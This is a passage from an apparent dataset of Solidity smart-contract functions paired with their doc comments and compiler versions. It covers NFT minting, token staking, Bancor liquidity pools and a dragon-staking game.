Increment(msg.sender);\r\n }", "version": "0.7.0"} {"comment": "//public mint function", "function_code": "function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {\r\n require(!paused, \"The contract is paused!\");\r\n require(!isWhiteListActive, \"Whitelist minting is still active!\");\r\n\r\n if(msg.sender != owner()) {\r\n require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, \"Exceeded Allowed Amount per TX!\");\r\n require(tokenAmountofWallet[msg.sender] + _mintAmount <= maxMintAmountPerWallet, \"Exceeded Allowed Amount per Address!\");\r\n require(msg.value >= cost * _mintAmount, \"Insufficient funds!\");\r\n }\r\n\r\n tokenAmountofWallet[msg.sender] += _mintAmount;\r\n _mintLoop(msg.sender, _mintAmount);\r\n }", "version": "0.8.7"} {"comment": "// whitelist mint function", "function_code": "function whiteListMint(uint256 _mintAmount, bytes32[] calldata proof) public payable mintCompliance(_mintAmount) {\r\n require(!paused, \"The contract is paused!\");\r\n require(isWhiteListActive, \"Whitelist minting isn't active anymore!\");\r\n require(\r\n MerkleProof.verify(proof, merkleRoot, generateMerkleLeaf(msg.sender)),\r\n \"User is not allowed to mint during this phase!\"\r\n );\r\n\r\n if(msg.sender != owner()) {\r\n require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTxforWL, \"Exceeded Allowed Amount per TX!\");\r\n require(tokenAmountofWallet[msg.sender] + _mintAmount <= maxMintAmountPerWalletforWL, \"Exceeded Allowed Amount per Address!\");\r\n require(msg.value >= costWhitelist * _mintAmount, \"Insufficient funds!\");\r\n }\r\n\r\n tokenAmountofWallet[msg.sender] += _mintAmount;\r\n _mintLoop(msg.sender, _mintAmount);\r\n }", "version": "0.8.7"} {"comment": "//call contract owner & id owner function", "function_code": "function walletOfOwner(address _owner)\r\n public\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 ownerTokenCount = balanceOf(_owner);\r\n uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);\r\n uint256 currentTokenId = 1;\r\n uint256 ownedTokenIndex = 0;\r\n\r\n while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {\r\n address currentTokenOwner = ownerOf(currentTokenId);\r\n if (currentTokenOwner == _owner) {\r\n ownedTokenIds[ownedTokenIndex] = currentTokenId;\r\n ownedTokenIndex++;\r\n }\r\n\r\n currentTokenId++;\r\n }\r\n\r\n return ownedTokenIds;\r\n }", "version": "0.8.7"} {"comment": "//call URL of token function", "function_code": "function tokenURI(uint256 _tokenId)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (string memory)\r\n {\r\n require(\r\n _exists(_tokenId),\r\n \"ERC721Metadata: URI query for nonexistent token\"\r\n );\r\n\r\n if (revealed == false) {\r\n return hiddenMetadataUri;\r\n }\r\n\r\n string memory currentBaseURI = _baseURI();\r\n return bytes(currentBaseURI).length > 0\r\n ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))\r\n : \"\";\r\n }", "version": "0.8.7"} {"comment": "//withdraw function", "function_code": "function withdraw() public onlyOwner {\r\n //50% goes to community wallet\r\n (bool hs, ) = payable(0xfc2f6C88Da2045846EbE84ede4dA3b3D9da1B87F).call{value: address(this).balance * 50 / 100}(\"\");\r\n require(hs);\r\n //rest to team wallet\r\n (bool os, ) = payable(owner()).call{value: address(this).balance}(\"\");\r\n require(os);\r\n }", "version": "0.8.7"} {"comment": "/* pure functions */", "function_code": "function calculateTotalStakeUnits(StakeData[] memory stakes, uint256 timestamp)\n public\n pure\n override\n returns (uint256 totalStakeUnits)\n {\n for (uint256 index; index < stakes.length; index++) {\n // reference stake\n StakeData memory stakeData = stakes[index];\n // calculate stake units\n uint256 stakeUnits =\n calculateStakeUnits(stakeData.amount, stakeData.timestamp, timestamp);\n // add to running total\n totalStakeUnits = totalStakeUnits.add(stakeUnits);\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Add funds to the Hypervisor\n/// access control: only admin\n/// state machine:\n/// - can be called multiple times\n/// - only online\n/// state scope:\n/// - increase _hypervisor.rewardSharesOutstanding\n/// - append to _hypervisor.rewardSchedules\n/// token transfer: transfer staking tokens from msg.sender to reward pool\n/// @param amount uint256 Amount of reward tokens to deposit\n/// @param duration uint256 Duration over which to linearly unlock rewards", "function_code": "function fund(uint256 amount, uint256 duration) external onlyOwner onlyOnline {\n // validate duration\n require(duration != 0, \"Hypervisor: invalid duration\");\n\n // create new reward shares\n // if existing rewards on this Hypervisor\n // mint new shares proportional to % change in rewards remaining\n // newShares = remainingShares * newReward / remainingRewards\n // else\n // mint new shares with BASE_SHARES_PER_WEI initial conversion rate\n // store as fixed point number with same of decimals as reward token\n uint256 newRewardShares;\n if (_hypervisor.rewardSharesOutstanding > 0) {\n uint256 remainingRewards = IERC20(_hypervisor.rewardToken).balanceOf(_hypervisor.rewardPool);\n newRewardShares = _hypervisor.rewardSharesOutstanding.mul(amount).div(remainingRewards);\n } else {\n newRewardShares = amount.mul(BASE_SHARES_PER_WEI);\n }\n\n // add reward shares to total\n _hypervisor.rewardSharesOutstanding = _hypervisor.rewardSharesOutstanding.add(newRewardShares);\n\n // store new reward schedule\n _hypervisor.rewardSchedules.push(RewardSchedule(duration, block.timestamp, newRewardShares));\n\n // transfer reward tokens to reward pool\n TransferHelper.safeTransferFrom(\n _hypervisor.rewardToken,\n msg.sender,\n _hypervisor.rewardPool,\n amount\n );\n\n // emit event\n emit HypervisorFunded(amount, duration);\n }", "version": "0.7.6"} {"comment": "/// @notice Register bonus token for distribution\n/// @dev use this function to enable distribution of any ERC20 held by the RewardPool contract\n/// access control: only admin\n/// state machine:\n/// - can be called multiple times\n/// - only online\n/// state scope:\n/// - append to _bonusTokenSet\n/// token transfer: none\n/// @param bonusToken address The address of the bonus token", "function_code": "function registerBonusToken(address bonusToken) external onlyOwner onlyOnline {\n // verify valid bonus token\n _validateAddress(bonusToken);\n\n // verify bonus token count\n require(_bonusTokenSet.length() < MAX_REWARD_TOKENS, \"Hypervisor: max bonus tokens reached \");\n\n // add token to set\n assert(_bonusTokenSet.add(bonusToken));\n\n // emit event\n emit BonusTokenRegistered(bonusToken);\n }", "version": "0.7.6"} {"comment": "/// @notice Rescue tokens from RewardPool\n/// @dev use this function to rescue tokens from RewardPool contract\n/// without distributing to stakers or triggering emergency shutdown\n/// access control: only admin\n/// state machine:\n/// - can be called multiple times\n/// - only online\n/// state scope: none\n/// token transfer: transfer requested token from RewardPool to recipient\n/// @param token address The address of the token to rescue\n/// @param recipient address The address of the recipient\n/// @param amount uint256 The amount of tokens to rescue", "function_code": "function rescueTokensFromRewardPool(\n address token,\n address recipient,\n uint256 amount\n ) external onlyOwner onlyOnline {\n // verify recipient\n _validateAddress(recipient);\n\n // check not attempting to unstake reward token\n require(token != _hypervisor.rewardToken, \"Hypervisor: invalid address\");\n\n // check not attempting to wthdraw bonus token\n require(!_bonusTokenSet.contains(token), \"Hypervisor: invalid address\");\n\n // transfer tokens to recipient\n IRewardPool(_hypervisor.rewardPool).sendERC20(token, recipient, amount);\n }", "version": "0.7.6"} {"comment": "/// @notice Stake tokens\n/// @dev anyone can stake to any vault if they have valid permission\n/// access control: anyone\n/// state machine:\n/// - can be called multiple times\n/// - only online\n/// - when vault exists on this Hypervisor\n/// state scope:\n/// - append to _vaults[vault].stakes\n/// - increase _vaults[vault].totalStake\n/// - increase _hypervisor.totalStake\n/// - increase _hypervisor.totalStakeUnits\n/// - increase _hypervisor.lastUpdate\n/// token transfer: transfer staking tokens from msg.sender to vault\n/// @param vault address The address of the vault to stake from\n/// @param amount uint256 The amount of staking tokens to stake", "function_code": "function stake(\n address vault,\n uint256 amount,\n bytes calldata permission\n ) external override onlyOnline {\n // verify vault is valid\n require(isValidVault(vault), \"Hypervisor: vault is not registered\");\n\n // verify non-zero amount\n require(amount != 0, \"Hypervisor: no amount staked\");\n\n // fetch vault storage reference\n VaultData storage vaultData = _vaults[vault];\n\n // verify stakes boundary not reached\n require(\n vaultData.stakes.length < MAX_STAKES_PER_VAULT,\n \"Hypervisor: MAX_STAKES_PER_VAULT reached\"\n );\n\n // update cached sum of stake units across all vaults\n _updateTotalStakeUnits();\n\n // store amount and timestamp\n vaultData.stakes.push(StakeData(amount, block.timestamp));\n\n // update cached total vault and Hypervisor amounts\n vaultData.totalStake = vaultData.totalStake.add(amount);\n _hypervisor.totalStake = _hypervisor.totalStake.add(amount);\n\n // call lock on vault\n IUniversalVault(vault).lock(_hypervisor.stakingToken, amount, permission);\n\n // emit event\n emit Staked(vault, amount);\n }", "version": "0.7.6"} {"comment": "/// @notice Exit Hypervisor without claiming reward\n/// @dev This function should never revert when correctly called by the vault.\n/// A max number of stakes per vault is set with MAX_STAKES_PER_VAULT to\n/// place an upper bound on the for loop in calculateTotalStakeUnits().\n/// access control: only callable by the vault directly\n/// state machine:\n/// - when vault exists on this Hypervisor\n/// - when active stake from this vault\n/// - any power state\n/// state scope:\n/// - decrease _hypervisor.totalStake\n/// - increase _hypervisor.lastUpdate\n/// - modify _hypervisor.totalStakeUnits\n/// - delete _vaults[vault]\n/// token transfer: none", "function_code": "function rageQuit() external override {\n // fetch vault storage reference\n VaultData storage _vaultData = _vaults[msg.sender];\n\n // revert if no active stakes\n require(_vaultData.stakes.length != 0, \"Hypervisor: no stake\");\n\n // update cached sum of stake units across all vaults\n _updateTotalStakeUnits();\n\n // emit event\n emit Unstaked(msg.sender, _vaultData.totalStake);\n\n // update cached totals\n _hypervisor.totalStake = _hypervisor.totalStake.sub(_vaultData.totalStake);\n _hypervisor.totalStakeUnits = _hypervisor.totalStakeUnits.sub(\n calculateTotalStakeUnits(_vaultData.stakes, block.timestamp)\n );\n\n // delete stake data\n delete _vaults[msg.sender];\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev returns the expected target amount of converting one reserve to another along with the fee\r\n *\r\n * @param _sourceToken contract address of the source reserve token\r\n * @param _targetToken contract address of the target reserve token\r\n * @param _amount amount of tokens received from the user\r\n *\r\n * @return expected target amount\r\n * @return expected fee\r\n */", "function_code": "function targetAmountAndFee(IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount)\r\n public\r\n view\r\n active\r\n validReserve(_sourceToken)\r\n validReserve(_targetToken)\r\n returns (uint256, uint256)\r\n {\r\n // validate input\r\n require(_sourceToken != _targetToken, \"ERR_SAME_SOURCE_TARGET\");\r\n\r\n uint256 amount = IBancorFormula(addressOf(BANCOR_FORMULA)).crossReserveTargetAmount(\r\n reserveBalance(_sourceToken),\r\n reserves[_sourceToken].weight,\r\n reserveBalance(_targetToken),\r\n reserves[_targetToken].weight,\r\n _amount\r\n );\r\n\r\n // return the amount minus the conversion fee and the conversion fee\r\n uint256 fee = calculateFee(amount);\r\n return (amount - fee, fee);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev converts a specific amount of source tokens to target tokens\r\n * can only be called by the bancor network contract\r\n *\r\n * @param _sourceToken source ERC20 token\r\n * @param _targetToken target ERC20 token\r\n * @param _amount amount of tokens to convert (in units of the source token)\r\n * @param _trader address of the caller who executed the conversion\r\n * @param _beneficiary wallet to receive the conversion result\r\n *\r\n * @return amount of tokens received (in units of the target token)\r\n */", "function_code": "function doConvert(IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount, address _trader, address _beneficiary)\r\n internal\r\n returns (uint256)\r\n {\r\n // get expected target amount and fee\r\n (uint256 amount, uint256 fee) = targetAmountAndFee(_sourceToken, _targetToken, _amount);\r\n\r\n // ensure that the trade gives something in return\r\n require(amount != 0, \"ERR_ZERO_TARGET_AMOUNT\");\r\n\r\n // ensure that the trade won't deplete the reserve balance\r\n uint256 targetReserveBalance = reserveBalance(_targetToken);\r\n assert(amount < targetReserveBalance);\r\n\r\n // ensure that the input amount was already deposited\r\n if (_sourceToken == ETH_RESERVE_ADDRESS)\r\n require(msg.value == _amount, \"ERR_ETH_AMOUNT_MISMATCH\");\r\n else\r\n require(msg.value == 0 && _sourceToken.balanceOf(this).sub(reserveBalance(_sourceToken)) >= _amount, \"ERR_INVALID_AMOUNT\");\r\n\r\n // sync the reserve balances\r\n syncReserveBalance(_sourceToken);\r\n reserves[_targetToken].balance = reserves[_targetToken].balance.sub(amount);\r\n\r\n // transfer funds to the beneficiary in the to reserve token\r\n if (_targetToken == ETH_RESERVE_ADDRESS)\r\n _beneficiary.transfer(amount);\r\n else\r\n safeTransfer(_targetToken, _beneficiary, amount);\r\n\r\n // dispatch the conversion event\r\n dispatchConversionEvent(_sourceToken, _targetToken, _trader, _amount, amount, fee);\r\n\r\n // dispatch rate updates\r\n dispatchRateEvents(_sourceToken, _targetToken);\r\n\r\n return amount;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev decreases the pool's liquidity and burns the caller's shares in the pool\r\n * note that prior to version 28, you should use 'liquidate' instead\r\n *\r\n * @param _amount token amount\r\n * @param _reserveTokens address of each reserve token\r\n * @param _reserveMinReturnAmounts minimum return-amount of each reserve token\r\n */", "function_code": "function removeLiquidity(uint256 _amount, IERC20Token[] memory _reserveTokens, uint256[] memory _reserveMinReturnAmounts)\r\n public\r\n protected\r\n active\r\n {\r\n // verify the user input\r\n verifyLiquidityInput(_reserveTokens, _reserveMinReturnAmounts, _amount);\r\n\r\n // get the total supply BEFORE destroying the user tokens\r\n uint256 totalSupply = ISmartToken(anchor).totalSupply();\r\n\r\n // destroy the user tokens\r\n ISmartToken(anchor).destroy(msg.sender, _amount);\r\n\r\n // transfer to the user an equivalent amount of each one of the reserve tokens\r\n removeLiquidityFromPool(_reserveTokens, _reserveMinReturnAmounts, totalSupply, _amount);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev decreases the pool's liquidity and burns the caller's shares in the pool\r\n * for example, if the holder sells 10% of the supply,\r\n * then they will receive 10% of each reserve token balance in return\r\n * note that starting from version 28, you should use 'removeLiquidity' instead\r\n *\r\n * @param _amount amount to liquidate (in the pool token)\r\n */", "function_code": "function liquidate(uint256 _amount) public protected {\r\n require(_amount > 0, \"ERR_ZERO_AMOUNT\");\r\n\r\n uint256 totalSupply = ISmartToken(anchor).totalSupply();\r\n ISmartToken(anchor).destroy(msg.sender, _amount);\r\n\r\n uint256[] memory reserveMinReturnAmounts = new uint256[](reserveTokens.length);\r\n for (uint256 i = 0; i < reserveMinReturnAmounts.length; i++)\r\n reserveMinReturnAmounts[i] = 1;\r\n\r\n removeLiquidityFromPool(reserveTokens, reserveMinReturnAmounts, totalSupply, _amount);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev verifies that a given array of tokens is identical to the converter's array of reserve tokens\r\n * we take this input in order to allow specifying the corresponding reserve amounts in any order\r\n *\r\n * @param _reserveTokens array of reserve tokens\r\n * @param _reserveAmounts array of reserve amounts\r\n * @param _amount token amount\r\n */", "function_code": "function verifyLiquidityInput(IERC20Token[] memory _reserveTokens, uint256[] memory _reserveAmounts, uint256 _amount) private view {\r\n uint256 i;\r\n uint256 j;\r\n\r\n uint256 length = reserveTokens.length;\r\n require(length == _reserveTokens.length, \"ERR_INVALID_RESERVE\");\r\n require(length == _reserveAmounts.length, \"ERR_INVALID_AMOUNT\");\r\n\r\n for (i = 0; i < length; i++) {\r\n // verify that every input reserve token is included in the reserve tokens\r\n require(reserves[_reserveTokens[i]].isSet, \"ERR_INVALID_RESERVE\");\r\n for (j = 0; j < length; j++) {\r\n if (reserveTokens[i] == _reserveTokens[j])\r\n break;\r\n }\r\n // verify that every reserve token is included in the input reserve tokens\r\n require(j < length, \"ERR_INVALID_RESERVE\");\r\n // verify that every input reserve token amount is larger than zero\r\n require(_reserveAmounts[i] > 0, \"ERR_INVALID_AMOUNT\");\r\n }\r\n\r\n // verify that the input token amount is larger than zero\r\n require(_amount > 0, \"ERR_ZERO_AMOUNT\");\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev adds liquidity (reserve) to the pool when it's empty\r\n *\r\n * @param _reserveTokens address of each reserve token\r\n * @param _reserveAmounts amount of each reserve token\r\n */", "function_code": "function addLiquidityToEmptyPool(IERC20Token[] memory _reserveTokens, uint256[] memory _reserveAmounts)\r\n private\r\n returns (uint256)\r\n {\r\n // calculate the geometric-mean of the reserve amounts approved by the user\r\n uint256 amount = geometricMean(_reserveAmounts);\r\n\r\n // transfer each one of the reserve amounts from the user to the pool\r\n for (uint256 i = 0; i < _reserveTokens.length; i++) {\r\n if (_reserveTokens[i] != ETH_RESERVE_ADDRESS) // ETH has already been transferred as part of the transaction\r\n safeTransferFrom(_reserveTokens[i], msg.sender, this, _reserveAmounts[i]);\r\n\r\n reserves[_reserveTokens[i]].balance = _reserveAmounts[i];\r\n\r\n emit LiquidityAdded(msg.sender, _reserveTokens[i], _reserveAmounts[i], _reserveAmounts[i], amount);\r\n\r\n // dispatch the `TokenRateUpdate` event for the pool token\r\n uint32 reserveWeight = reserves[_reserveTokens[i]].weight;\r\n dispatchPoolTokenRateEvent(amount, _reserveTokens[i], _reserveAmounts[i], reserveWeight);\r\n }\r\n\r\n return amount;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev removes liquidity (reserve) from the pool\r\n *\r\n * @param _reserveTokens address of each reserve token\r\n * @param _reserveMinReturnAmounts minimum return-amount of each reserve token\r\n * @param _totalSupply token total supply\r\n * @param _amount token amount\r\n */", "function_code": "function removeLiquidityFromPool(IERC20Token[] memory _reserveTokens, uint256[] memory _reserveMinReturnAmounts, uint256 _totalSupply, uint256 _amount)\r\n private\r\n {\r\n syncReserveBalances();\r\n\r\n IBancorFormula formula = IBancorFormula(addressOf(BANCOR_FORMULA));\r\n uint256 newPoolTokenSupply = _totalSupply.sub(_amount);\r\n\r\n for (uint256 i = 0; i < _reserveTokens.length; i++) {\r\n IERC20Token reserveToken = _reserveTokens[i];\r\n uint256 rsvBalance = reserves[reserveToken].balance;\r\n uint256 reserveAmount = formula.liquidateReserveAmount(_totalSupply, rsvBalance, reserveRatio, _amount);\r\n require(reserveAmount >= _reserveMinReturnAmounts[i], \"ERR_ZERO_TARGET_AMOUNT\");\r\n\r\n uint256 newReserveBalance = rsvBalance.sub(reserveAmount);\r\n reserves[reserveToken].balance = newReserveBalance;\r\n\r\n // transfer each one of the reserve amounts from the pool to the user\r\n if (reserveToken == ETH_RESERVE_ADDRESS)\r\n msg.sender.transfer(reserveAmount);\r\n else\r\n safeTransfer(reserveToken, msg.sender, reserveAmount);\r\n\r\n emit LiquidityRemoved(msg.sender, reserveToken, reserveAmount, newReserveBalance, newPoolTokenSupply);\r\n\r\n // dispatch the `TokenRateUpdate` event for the pool token\r\n uint32 reserveWeight = reserves[reserveToken].weight;\r\n dispatchPoolTokenRateEvent(newPoolTokenSupply, reserveToken, newReserveBalance, reserveWeight);\r\n }\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev calculates the average number of decimal digits in a given list of values\r\n *\r\n * @param _values list of values (each of which assumed positive)\r\n * @return the average number of decimal digits in the given list of values\r\n */", "function_code": "function geometricMean(uint256[] memory _values) public pure returns (uint256) {\r\n uint256 numOfDigits = 0;\r\n uint256 length = _values.length;\r\n for (uint256 i = 0; i < length; i++)\r\n numOfDigits += decimalLength(_values[i]);\r\n return uint256(10) ** (roundDiv(numOfDigits, length) - 1);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev dispatches rate events for both reserves / pool tokens\r\n * only used to circumvent the `stack too deep` compiler error\r\n *\r\n * @param _sourceToken address of the source reserve token\r\n * @param _targetToken address of the target reserve token\r\n */", "function_code": "function dispatchRateEvents(IERC20Token _sourceToken, IERC20Token _targetToken) private {\r\n uint256 poolTokenSupply = ISmartToken(anchor).totalSupply();\r\n uint256 sourceReserveBalance = reserveBalance(_sourceToken);\r\n uint256 targetReserveBalance = reserveBalance(_targetToken);\r\n uint32 sourceReserveWeight = reserves[_sourceToken].weight;\r\n uint32 targetReserveWeight = reserves[_targetToken].weight;\r\n\r\n // dispatch token rate update event\r\n uint256 rateN = targetReserveBalance.mul(sourceReserveWeight);\r\n uint256 rateD = sourceReserveBalance.mul(targetReserveWeight);\r\n emit TokenRateUpdate(_sourceToken, _targetToken, rateN, rateD);\r\n\r\n // dispatch the `TokenRateUpdate` event for the pool token\r\n dispatchPoolTokenRateEvent(poolTokenSupply, _sourceToken, sourceReserveBalance, sourceReserveWeight);\r\n dispatchPoolTokenRateEvent(poolTokenSupply, _targetToken, targetReserveBalance, targetReserveWeight);\r\n\r\n // dispatch price data update events (deprecated events)\r\n emit PriceDataUpdate(_sourceToken, poolTokenSupply, sourceReserveBalance, sourceReserveWeight);\r\n emit PriceDataUpdate(_targetToken, poolTokenSupply, targetReserveBalance, targetReserveWeight);\r\n }", "version": "0.4.26"} {"comment": "//backend mint", "function_code": "function mintInternal(address wallet, uint amount) internal {\r\n uint currentTokenSupply = _tokenIdCounter.current();\r\n require((currentTokenSupply + amount) <= maxSupply, \"Not enough tokens left\");\r\n for(uint i = 0; i< amount; i++){\r\n currentTokenSupply++;\r\n _safeMint(wallet, currentTokenSupply);\r\n _tokenIdCounter.increment();\r\n }\r\n }", "version": "0.8.7"} {"comment": "/** Used to determine if a staked token is owned. Used to allow game logic to occur outside this contract.\n * This might not be necessary if the training mechanic is in this contract instead */", "function_code": "function ownsToken(uint256 tokenId) external view returns (bool) {\n uint64 lastTokenWrite = wndNFT.getTokenWriteBlock(tokenId);\n // Must check this, as getTokenTraits will be allowed since this contract is an admin\n require(lastTokenWrite < block.number, \"hmmmm what doing?\");\n IWnD.WizardDragon memory s = wndNFT.getTokenTraits(tokenId);\n if(s.isWizard) {\n return tower[tokenId].owner == tx.origin || training[tokenId].owner == tx.origin;\n }\n uint8 rank = _rankForDragon(tokenId);\n return flight[rank][flightIndices[tokenId]].owner == tx.origin;\n }", "version": "0.8.4"} {"comment": "/**\n * adds Wizards and Dragons to the Tower and Flight\n * @param tokenIds the IDs of the Wizards and Dragons to stake\n */", "function_code": "function addManyToTowerAndFlight(address tokenOwner, uint16[] calldata tokenIds) external override nonReentrant {\n require(admins[_msgSender()], \"Only admins can stake\");\n for (uint i = 0; i < tokenIds.length; i++) {\n if (wndNFT.ownerOf(tokenIds[i]) != address(this)) { // a mint + stake will send directly to the staking contract\n require(wndNFT.ownerOf(tokenIds[i]) == tokenOwner, \"You don't own this token\");\n wndNFT.transferFrom(tokenOwner, address(this), tokenIds[i]);\n } else if (tokenIds[i] == 0) {\n continue; // there may be gaps in the array for stolen tokens\n }\n\n if (wndNFT.isWizard(tokenIds[i])) \n _addWizardToTower(tokenOwner, tokenIds[i]);\n else \n _addDragonToFlight(tokenOwner, tokenIds[i]);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * adds Wizards and Dragons to the Tower and Flight\n * @param seed the seed for random logic\n * @param tokenIds the IDs of the Wizards and Dragons to stake\n */", "function_code": "function addManyToTrainingAndFlight(uint256 seed, address tokenOwner, uint16[] calldata tokenIds) external override nonReentrant {\n require(admins[_msgSender()], \"Only admins can stake\");\n for (uint i = 0; i < tokenIds.length; i++) {\n require(wndNFT.ownerOf(tokenIds[i]) == tokenOwner, \"You don't own this token\");\n seed = uint256(keccak256(abi.encodePacked(\n tx.origin,\n seed\n )));\n address recipient = selectRecipient(seed, tokenOwner);\n if(tokenIds[i] <= 15000) {\n // Don't allow gen0 tokens from being stolen\n recipient = tokenOwner;\n }\n if(recipient != tokenOwner) { // stolen\n wndNFT.transferFrom(tokenOwner, recipient, tokenIds[i]);\n continue;\n }\n wndNFT.transferFrom(tokenOwner, address(this), tokenIds[i]);\n if (wndNFT.isWizard(tokenIds[i])) {\n _addWizardToTraining(recipient, tokenIds[i]);\n }\n else {\n _addDragonToFlight(recipient, tokenIds[i]);\n }\n }\n }", "version": "0.8.4"} {"comment": "/**\n * adds a single Dragon to the Flight\n * @param account the address of the staker\n * @param tokenId the ID of the Dragon to add to the Flight\n */", "function_code": "function _addDragonToFlight(address account, uint256 tokenId) internal {\n uint8 rank = _rankForDragon(tokenId);\n totalRankStaked += rank; // Portion of earnings ranges from 8 to 5\n flightIndices[tokenId] = flight[rank].length; // Store the location of the dragon in the Flight\n flight[rank].push(StakeDragon({\n owner: account,\n tokenId: uint16(tokenId),\n lastClaimTime: uint80(block.timestamp),\n value: gpPerRank\n })); // Add the dragon to the Flight\n _deposits[account].dragons.add(tokenId);\n emit TokenStaked(account, tokenId, false, true);\n }", "version": "0.8.4"} {"comment": "/**\n * realize $GP earnings and optionally unstake tokens from the Tower / Flight\n * to unstake a Wizard it will require it has 2 days worth of $GP unclaimed\n * @param tokenIds the IDs of the tokens to claim earnings from\n * @param unstake whether or not to unstake ALL of the tokens listed in tokenIds\n */", "function_code": "function claimManyFromTowerAndFlight(address tokenOwner, uint16[] calldata tokenIds, bool unstake) external override whenNotPaused _updateEarnings nonReentrant {\n require(admins[_msgSender()], \"Only admins can stake\");\n uint256 owed = 0;\n uint16 owedRunes = 0;\n for (uint i = 0; i < tokenIds.length; i++) {\n if (wndNFT.isWizard(tokenIds[i])) {\n owed += _claimWizardFromTower(tokenIds[i], unstake, tokenOwner);\n }\n else {\n (uint256 gpOwed, uint16 runes) = _claimDragonFromFlight(tokenIds[i], unstake, tokenOwner);\n owed += gpOwed;\n owedRunes += runes;\n }\n }\n gpToken.updateOriginAccess();\n if(owed > 0) {\n gpToken.mint(tokenOwner, owed);\n }\n if(owedRunes > 0 && curMagicRunesEmitted + owedRunes <= MAX_MAGIC_RUNE_EMISSION) {\n curMagicRunesEmitted += owedRunes;\n alter.mint(magicRune, owedRunes, tokenOwner);\n }\n }", "version": "0.8.4"} {"comment": "/** Get the tax percent owed to dragons. If the address doesn't contain a 1:10 ratio of whips to staked wizards,\n * they are subject to an untrained tax */", "function_code": "function getTaxPercent(address addr) internal returns (uint256) {\n if(_deposits[addr].towerWizards.length() <= 10) {\n // \n return alter.balanceOf(addr, whip) >= 1 ? GP_CLAIM_TAX_PERCENTAGE : GP_CLAIM_TAX_PERCENTAGE_UNTRAINED;\n }\n return alter.balanceOf(addr, whip) >= _deposits[addr].towerWizards.length() / 10 ? GP_CLAIM_TAX_PERCENTAGE : GP_CLAIM_TAX_PERCENTAGE_UNTRAINED;\n }", "version": "0.8.4"} {"comment": "/**\n * chooses a random Dragon thief when a newly minted token is stolen\n * @param seed a random value to choose a Dragon from\n * @return the owner of the randomly selected Dragon thief\n */", "function_code": "function randomDragonOwner(uint256 seed) public view override returns (address) {\n if (totalRankStaked == 0) {\n return address(0x0);\n }\n uint256 bucket = (seed & 0xFFFFFFFF) % totalRankStaked; // choose a value from 0 to total rank staked\n uint256 cumulative;\n seed >>= 32;\n // loop through each bucket of Dragons with the same rank score\n for (uint i = MAX_RANK - 3; i <= MAX_RANK; i++) {\n cumulative += flight[i].length * i;\n // if the value is not inside of that bucket, keep going\n if (bucket >= cumulative) continue;\n // get the address of a random Dragon with that rank score\n return flight[i][seed % flight[i].length].owner;\n }\n return address(0x0);\n }", "version": "0.8.4"} {"comment": "/**\n * add $GP to claimable pot for the Flight\n * @param amount $GP to add to the pot\n */", "function_code": "function _payDragonTax(uint256 amount) internal {\n if (totalRankStaked == 0) { // if there's no staked dragons\n unaccountedRewards += amount; // keep track of $GP due to dragons\n return;\n }\n // makes sure to include any unaccounted $GP \n gpPerRank += (amount + unaccountedRewards) / totalRankStaked;\n unaccountedRewards = 0;\n }", "version": "0.8.4"} {"comment": "// Overrides", "function_code": "function tokenURI(uint256 tokenId)\r\n public\r\n view\r\n override(ERC721)\r\n returns (string memory)\r\n {\r\n require(\r\n _exists(tokenId),\r\n \"ERC721Metadata: URI query for nonexistent token\"\r\n );\r\n\r\n if (revealed == false) {\r\n return unrevealedURL;\r\n }\r\n\r\n return\r\n bytes(baseURI).length > 0\r\n ? string(abi.encodePacked(baseURI, tokenId.toString(), \".json\"))\r\n : \"\";\r\n }", "version": "0.8.11"} {"comment": "/// @dev send ETH from this contract to its creator", "function_code": "function sendETHToCreator(uint256 _amount) external {\r\n require(msg.sender == creator, \"Sender must be creator\");\r\n // we use `call` here following the recommendation from\r\n // https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/\r\n (bool success, ) = creator.call{value: _amount}(\"\");\r\n require(success, \"Transfer failed\");\r\n }", "version": "0.6.12"} {"comment": "// to caclulate the amounts for recipient and distributer after fees have been applied", "function_code": "function calculateFeesBeforeSend(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public view returns (uint256, uint256) {\r\n \r\n if(UniSwapReciever[recipient] && UniSwapSaleEnds){\r\n uint256 timeNow = block.timestamp;\r\n uint256 sfee = 5; //5% fee default if time not met in loop. \r\n \r\n uint256 datediff = timeNow - UniSwapSaleEndsTime;\r\n \r\n datediff = datediff.div(oneDay);\r\n datediff = datediff.mod(turning);\r\n \r\n if(datediff == 0) { sfee = 30; }\r\n else if(datediff == 1) { sfee = 25; }\r\n else if(datediff == 2) { sfee = 20; }\r\n else if(datediff == 3) { sfee = 15; }\r\n else if(datediff == 4) { sfee = 10; }\r\n else if(datediff == 5) { sfee = 5; }\r\n \r\n sfee = amount.mul(sfee).div(100);\r\n return (amount.sub(sfee), sfee);\r\n }\r\n\r\n if (feelessSender[sender] || feelessReciever[recipient]) {\r\n return (amount, 0);\r\n }\r\n\r\n // calculate fees and amounts\r\n uint256 fee = amount.mul(txFee).div(1000);\r\n return (amount.sub(fee), fee);\r\n }", "version": "0.8.0"} {"comment": "/* @notice Convert boolean value into bytes\r\n * @param b The boolean value\r\n * @return Converted bytes array\r\n */", "function_code": "function WriteBool(bool b) internal pure returns (bytes memory) {\r\n bytes memory buff;\r\n assembly{\r\n buff := mload(0x40)\r\n mstore(buff, 1)\r\n switch iszero(b)\r\n case 1 {\r\n mstore(add(buff, 0x20), shl(248, 0x00))\r\n // mstore8(add(buff, 